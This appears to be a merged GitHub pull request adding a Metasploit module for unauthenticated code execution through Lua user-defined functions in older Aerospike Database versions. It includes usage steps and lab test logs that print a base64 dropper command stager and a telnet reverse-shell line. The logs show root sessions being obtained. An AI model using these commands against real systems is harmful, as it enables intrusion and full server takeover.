Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Aerospike Database UDF Lua Code Execution exploit #14466

Merged
merged 1 commit into from Dec 10, 2020

Conversation

bcoles
Copy link
Contributor

@bcoles bcoles commented Dec 5, 2020

Vulnerable Application

Aerospike Database versions before 5.1.0.3 permitted
user-defined functions (UDF) to call the os.execute
Lua function.

This module creates a UDF utilising this function to
execute arbitrary operating system commands with the
privileges of the user running the Aerospike service.

This module does not support authentication; however
Aerospike Database Community Edition does not enable
authentication by default.

This module has been tested successfully on Ubuntu
with Aerospike Database Community Edition versions
4.9.0.5, 4.9.0.11 and 5.0.0.10.

Verification Steps

Download a vulnerable version of Aerospike Database Community Edition from:

Decompress the compressed .tgz software installer archive file:

$ gunzip aerospike-server-community-5.0.0.10-ubuntu18.04.tgz
$ tar xvf aerospike-server-community-5.0.0.10-ubuntu18.04.tar

Install:

$ cd aerospike-server-community-5.0.0.10-ubuntu18.04
$ sudo ./asinstall

Start the aerospike service:

$ sudo service aerospike start
  1. Start msfconsole
  2. Do: use exploit/linux/misc/aerospike_database_udf_cmd_exec
  3. Do: set RHOSTS [IP]
  4. Do: set target [target]
  5. Do: set payload [payload]
  6. Do: set LHOST [IP]
  7. Do: exploit

Options

UDF_DIRECTORY

Directory where Lua UDF files are stored (Default: /opt/aerospike/usr/udf/lua/)

Scenarios

Aerospike Database Community Edition version 5.0.0.10 on Ubuntu 20.04 (x64)

msf6 > use exploit/linux/misc/aerospike_database_udf_cmd_exec 
[*] Using configured payload cmd/unix/reverse
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set rhost 172.16.191.208
rhost => 172.16.191.208
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > show targets
Exploit targets:
   Id  Name
   --  ----
   0   Unix Command
   1   Linux (Dropper)
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set target 1
target => 1
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set payload
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set verbose true
verbose => true
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set lhost 172.16.191.165 
lhost => 172.16.191.165
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > run
[*] Started reverse TCP handler on 172.16.191.165:4444 
[*] 172.16.191.208:3000 - Executing automatic check (disable AutoCheck to override)
[*] 172.16.191.208:3000 - Aerospike Database version 5.0.0.10
[+] 172.16.191.208:3000 - The target appears to be vulnerable.
[*] 172.16.191.208:3000 - Sending payload (123 bytes) ...
[*] 172.16.191.208:3000 - Generated command stager: ["echo -n f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAjPAAAASgEAAAcAAAAAEAAAagpeMdv341NDU2oCsGaJ4c2Al1torBC/pWgCABFcieFqZlhQUVeJ4UPNgIXAeRlOdD1oogAAAFhqAGoFieMxyc2AhcB5vesnsge5ABAAAInjwesMweMMsH3NgIXAeBBbieGZsmqwA82AhcB4Av/huAEAAAC7AQAAAM2A>>'/tmp/zqOkT.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/qXNWk' < '/tmp/zqOkT.b64' ; chmod +x '/tmp/qXNWk' ; '/tmp/qXNWk' & sleep 2 ; rm -f '/tmp/qXNWk' ; rm -f '/tmp/zqOkT.b64'"]
[*] 172.16.191.208:3000 - Creating UDF 'DpdWZwYHiuZvjods.lua' ...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (976712 bytes) to 172.16.191.208
[*] 172.16.191.208:3000 - UDF 'DpdWZwYHiuZvjods.lua' removed successfully
[*] Meterpreter session 1 opened (172.16.191.165:4444 -> 172.16.191.208:55852) at 2020-12-05 09:09:27 -0500
[*] Transmitting intermediate stager...(106 bytes)
[*] 172.16.191.208:3000 - Command Stager progress - 100.00% done (773/773 bytes)
meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : ubuntu.local
OS           : Ubuntu 20.04 (Linux 5.4.0-53-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > 

@bcoles
Copy link
Contributor Author

bcoles commented Dec 5, 2020

FYI @b4ny4n

@b4ny4n
Copy link

b4ny4n commented Dec 5, 2020

Looks good! @bcoles - Just one note on the description: the vulnerability was in allowing io.popen calls.

@bcoles
Copy link
Contributor Author

bcoles commented Dec 5, 2020

Looks good! @bcoles - Just one note on the description: the vulnerability was in allowing io.popen calls.

Both os.execute and io.popen work. This module uses os.execute. Both are blocked in the patched version 5.1.0.3 - presumable due to changes in the sandboxing as per the release notes.

@b4ny4n
Copy link

b4ny4n commented Dec 5, 2020

Interesting - on 4.9.0.5 I was unable to get os.execute to fire - I'll revisit - thanks!

@bcoles
Copy link
Contributor Author

bcoles commented Dec 5, 2020

Interesting - on 4.9.0.5 I was unable to get os.execute to fire - I'll revisit - thanks!

The module works on your 4.9.0.5 docker image. I didn't bother to investigate why, but my guess is that your Python exploit defines a proper function, where as I shoved os.execute() into the UDF without bothering to define a function.

As it happens, I found your exploit on exploit-db before looking at your writeup or GitHub. The example Lua code poc.lua wasn't present (only the Python code) so I hacked together os.execute() as the first thing I tried. Conveniently, that worked.

Edit: test on the docker image:

msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set target 1
target => 1
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > run

[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] 172.17.0.2:3000 - Executing automatic check (disable AutoCheck to override)
[*] 172.17.0.2:3000 - Aerospike Database version 4.9.0.5
[+] 172.17.0.2:3000 - The target appears to be vulnerable.
[*] 172.17.0.2:3000 - Sending payload (123 bytes) ...
[*] 172.17.0.2:3000 - Generated command stager: ["echo -n f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAjPAAAASgEAAAcAAAAAEAAAagpeMdv341NDU2oCsGaJ4c2Al1torBEAAWgCABFcieFqZlhQUVeJ4UPNgIXAeRlOdD1oogAAAFhqAGoFieMxyc2AhcB5vesnsge5ABAAAInjwesMweMMsH3NgIXAeBBbieGZsmqwA82AhcB4Av/huAEAAAC7AQAAAM2A>>'/tmp/iRBQG.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/Mjrmu' < '/tmp/iRBQG.b64' ; chmod +x '/tmp/Mjrmu' ; '/tmp/Mjrmu' & sleep 2 ; rm -f '/tmp/Mjrmu' ; rm -f '/tmp/iRBQG.b64'"]
[*] 172.17.0.2:3000 - Creating UDF 'gQlBBfSMTETP.lua' ...
[*] 172.17.0.2:3000 - UDF 'gQlBBfSMTETP.lua' removed successfully
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (976712 bytes) to 172.17.0.2
[*] 172.17.0.2:3000 - Command Stager progress - 100.00% done (773/773 bytes)
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:45848) at 2020-12-05 12:32:25 -0500

meterpreter > getuid
Server username: root @ d14f9a382a22 (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Debian 9.12 (Linux 5.8.0-kali3-amd64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > 

@b4ny4n
Copy link

b4ny4n commented Dec 5, 2020

Yeah, that's really interesting! There must have been partial checks based on assumptions related to the UDF registering... I really like this approach as it doesn't need any of the dependencies, etc. Care if I link to it in my post?

@bcoles
Copy link
Contributor Author

bcoles commented Dec 5, 2020

Yeah, that's really interesting! There must have been partial checks based on assumptions related to the UDF registering... I really like this approach as it doesn't need any of the dependencies, etc. Care if I link to it in my post?

Not at all. Go for it.

I guess there's some useful context in this thread if you or someone else wants to investigate further. This module took longer to develop than anticipated, largely due to developing reliable cleanup (as per code comments) so I'm kinda over it, but there's certainly more areas for investigation.

For reference, here's the result of testing on a patched version:

udf-put:filename=poz.lua;content=b3MuZXhlY3V0ZSgiaWQ+L3RtcC93aXoiKQ==;content-len=36;udf-type=LUA;	error=compile_error;file=poz.lua;line=1;message=YXR0ZW1wdCB0byBjYWxsIGZpZWxkICdleGVjdXRlJyAoYSBuaWwgdmFsdWUp
udf-remove:filename=poz.lua;	ok

@space-r7 space-r7 self-assigned this Dec 9, 2020
@space-r7
Copy link
Contributor

Tested successfully against versions 4.9.0.5 and 5.0.0.22. Code looks good to me:

msf6 > use exploit/linux/misc/aerospike_database_udf_cmd_exec 
[*] Using configured payload cmd/unix/reverse
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > options

Module options (exploit/linux/misc/aerospike_database_udf_cmd_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    3000             yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command


msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set rhost 172.16.215.144
rhost => 172.16.215.144
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set lhost 172.16.215.1
lhost => 172.16.215.1
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set verbose true
verbose => true
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > run

[+] sh -c '(sleep 4582|telnet 172.16.215.1 4444|while : ; do sh && break; done 2>&1|telnet 172.16.215.1 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on 172.16.215.1:4444 
[*] 172.16.215.144:3000 - Executing automatic check (disable AutoCheck to override)
[*] 172.16.215.144:3000 - Aerospike Database version 5.0.0.22
[+] 172.16.215.144:3000 - The target appears to be vulnerable.
[*] 172.16.215.144:3000 - Sending payload (124 bytes) ...
[*] 172.16.215.144:3000 - Creating UDF 'XRPtQekquLJws.lua' ...
[*] Accepted the first client connection...
[*] 172.16.215.144:3000 - UDF 'XRPtQekquLJws.lua' removed successfully
[*] Accepted the second client connection...
[*] Command: echo 0yx272JxqUdoDWCa;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "0yx272JxqUdoDWCa\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.215.1:4444 -> 172.16.215.144:60920) at 2020-12-10 10:28:13 -0600

whoami
root
uname -a
Linux ubuntu 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
^C
Abort session 1? [y/N]  y

[*] 172.16.215.144 - Command shell session 1 closed.  Reason: User exit
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set target 1
target => 1
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > run

[*] Started reverse TCP handler on 172.16.215.1:4444 
[*] 172.16.215.144:3000 - Executing automatic check (disable AutoCheck to override)
[*] 172.16.215.144:3000 - Aerospike Database version 5.0.0.22
[+] 172.16.215.144:3000 - The target appears to be vulnerable.
[*] 172.16.215.144:3000 - Sending payload (123 bytes) ...
[*] 172.16.215.144:3000 - Generated command stager: ["echo -n f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAjPAAAASgEAAAcAAAAAEAAAagpeMdv341NDU2oCsGaJ4c2Al1torBDXAWgCABFcieFqZlhQUVeJ4UPNgIXAeRlOdD1oogAAAFhqAGoFieMxyc2AhcB5vesnsge5ABAAAInjwesMweMMsH3NgIXAeBBbieGZsmqwA82AhcB4Av/huAEAAAC7AQAAAM2A>>'/tmp/VjLWO.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/DxJlj' < '/tmp/VjLWO.b64' ; chmod +x '/tmp/DxJlj' ; '/tmp/DxJlj' & sleep 2 ; rm -f '/tmp/DxJlj' ; rm -f '/tmp/VjLWO.b64'"]
[*] 172.16.215.144:3000 - Creating UDF 'OmkGGwsuRvUiBo.lua' ...
[*] 172.16.215.144:3000 - UDF 'OmkGGwsuRvUiBo.lua' removed successfully
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (976712 bytes) to 172.16.215.144
[*] Meterpreter session 2 opened (172.16.215.1:4444 -> 172.16.215.144:60924) at 2020-12-10 10:28:26 -0600
[*] 172.16.215.144:3000 - Command Stager progress - 100.00% done (773/773 bytes)

meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 172.16.215.144
OS           : Ubuntu 18.04 (Linux 4.18.0-15-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.215.144 - Meterpreter session 2 closed.  Reason: User exit
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > set rhost 172.16.215.146
rhost => 172.16.215.146
msf6 exploit(linux/misc/aerospike_database_udf_cmd_exec) > run

[*] Started reverse TCP handler on 172.16.215.1:4444 
[*] 172.16.215.146:3000 - Executing automatic check (disable AutoCheck to override)
[*] 172.16.215.146:3000 - Aerospike Database version 4.9.0.5
[+] 172.16.215.146:3000 - The target appears to be vulnerable.
[*] 172.16.215.146:3000 - Sending payload (123 bytes) ...
[*] 172.16.215.146:3000 - Generated command stager: ["echo -n f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAjPAAAASgEAAAcAAAAAEAAAagpeMdv341NDU2oCsGaJ4c2Al1torBDXAWgCABFcieFqZlhQUVeJ4UPNgIXAeRlOdD1oogAAAFhqAGoFieMxyc2AhcB5vesnsge5ABAAAInjwesMweMMsH3NgIXAeBBbieGZsmqwA82AhcB4Av/huAEAAAC7AQAAAM2A>>'/tmp/bFZXJ.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/EMOfL' < '/tmp/bFZXJ.b64' ; chmod +x '/tmp/EMOfL' ; '/tmp/EMOfL' & sleep 2 ; rm -f '/tmp/EMOfL' ; rm -f '/tmp/bFZXJ.b64'"]
[*] 172.16.215.146:3000 - Creating UDF 'KZZyRKbhEIbixxC.lua' ...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (976712 bytes) to 172.16.215.146
[*] 172.16.215.146:3000 - UDF 'KZZyRKbhEIbixxC.lua' removed successfully
[*] Meterpreter session 3 opened (172.16.215.1:4444 -> 172.16.215.146:34352) at 2020-12-10 10:30:53 -0600
[*] Transmitting intermediate stager...(106 bytes)
[*] 172.16.215.146:3000 - Command Stager progress - 100.00% done (773/773 bytes)

meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 172.16.215.146
OS           : Ubuntu 18.04 (Linux 4.18.0-15-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

@space-r7 space-r7 merged commit 83943ad into rapid7:master Dec 10, 2020
@space-r7
Copy link
Contributor

space-r7 commented Dec 10, 2020

Release Notes

New module exploits/linux/misc/aerospike_database_udf_cmd_exec adds an exploit for Aerospike database versions prior to 5.1.0.3. Vulnerable versions of Aerospike allow users to create user-defined functions (UDFs), which permit the usage of the os.execute() and io.popen() Lua functions. This module creates and registers a UDF that leverages os.execute() to achieve unauthenticated code execution as the user running the Aerospike service.

@space-r7 space-r7 added the rn-modules release notes for new or majorly enhanced modules label Dec 10, 2020
@bcoles bcoles deleted the aerospike_database_udf_cmd_exec branch December 11, 2020 00:01
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants